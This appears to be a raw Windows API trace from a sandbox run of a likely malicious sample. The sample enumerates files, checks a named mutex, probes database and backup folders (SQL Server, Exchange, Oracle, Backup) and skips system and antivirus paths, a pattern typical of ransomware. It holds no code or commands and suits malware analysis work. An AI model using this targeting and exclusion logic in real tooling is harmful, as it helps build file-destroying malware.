[0057.811] GlobalUnlock (hMem=0x440004) returned 0 [0057.811] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.812] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0057.812] GetLastError () returned 0x12 [0057.812] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.812] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0057.812] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.812] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.812] GlobalLock (hMem=0x440004) returned 0x550170 [0057.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.812] GlobalUnlock (hMem=0x440004) returned 0 [0057.812] GlobalLock (hMem=0x440004) returned 0x550170 [0057.812] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.812] GlobalUnlock (hMem=0x440004) returned 0 [0057.812] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.812] GlobalUnlock (hMem=0x44000c) returned 0 [0057.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.813] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.813] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.813] GlobalUnlock (hMem=0x44000c) returned 0 [0057.813] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.813] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.813] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.813] GlobalUnlock (hMem=0x44000c) returned 0 [0057.813] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.813] GlobalUnlock (hMem=0x440004) returned 0 [0057.813] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.813] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories") returned 1 [0057.813] GlobalLock (hMem=0x440004) returned 0x550170 [0057.813] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.813] GlobalUnlock (hMem=0x440004) returned 0 [0057.813] GlobalLock (hMem=0x440004) returned 0x550170 [0057.813] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.813] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.813] GlobalUnlock (hMem=0x440004) returned 0 [0057.813] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.813] GlobalUnlock (hMem=0x44000c) returned 0 [0057.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@볪R벾R企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0057.816] GetLastError () returned 0x3 [0057.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@뱔R企@\x18㾤Q\x181")) returned 0xffffffff [0057.818] GetLastError () returned 0x2 [0057.818] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.818] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@夜U企@\x18?T\x18;")) returned 0xffffffff [0057.820] GetLastError () returned 0x2 [0057.820] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@몤R企@\x18?T\x18D")) returned 0xffffffff [0057.821] GetLastError () returned 0x2 [0057.821] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.821] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@뱔R企@\x18夜U\x18j")) returned 0xffffffff [0057.823] GetLastError () returned 0x2 [0057.823] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.823] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0057.824] GetLastError () returned 0x2 [0057.824] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\夘UP") returned 6 [0057.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@쏬R企@\x18?T\x18y")) returned 0xffffffff [0057.826] GetLastError () returned 0x2 [0057.826] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.826] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0057.827] GetLastError () returned 0x2 [0057.827] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.827] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@몤R企@\x18?T\x18\x88")) returned 0xffffffff [0057.829] GetLastError () returned 0x2 [0057.829] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.829] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@쏬R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.830] GetLastError () returned 0x2 [0057.830] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.830] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0057.858] GetLastError () returned 0x2 [0057.858] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.858] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.858] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.859] GlobalUnlock (hMem=0x44000c) returned 0 [0057.860] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.860] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.860] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.860] GlobalUnlock (hMem=0x44000c) returned 0 [0057.860] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.860] GlobalUnlock (hMem=0x440004) returned 0 [0057.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.860] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.860] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.860] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.860] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.860] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.860] GlobalLock (hMem=0x440004) returned 0x550170 [0057.860] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.860] GlobalUnlock (hMem=0x440004) returned 0 [0057.860] GlobalLock (hMem=0x440004) returned 0x550170 [0057.860] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.860] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.860] GlobalUnlock (hMem=0x440004) returned 0 [0057.860] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.861] GlobalUnlock (hMem=0x44000c) returned 0 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.861] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.861] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.862] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.863] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\") returned 0x35 [0057.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.863] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.864] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.864] GlobalUnlock (hMem=0x44000c) returned 0 [0057.864] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.864] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.864] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.865] GlobalUnlock (hMem=0x44000c) returned 0 [0057.865] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.865] GlobalUnlock (hMem=0x440004) returned 0 [0057.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.868] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.868] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, 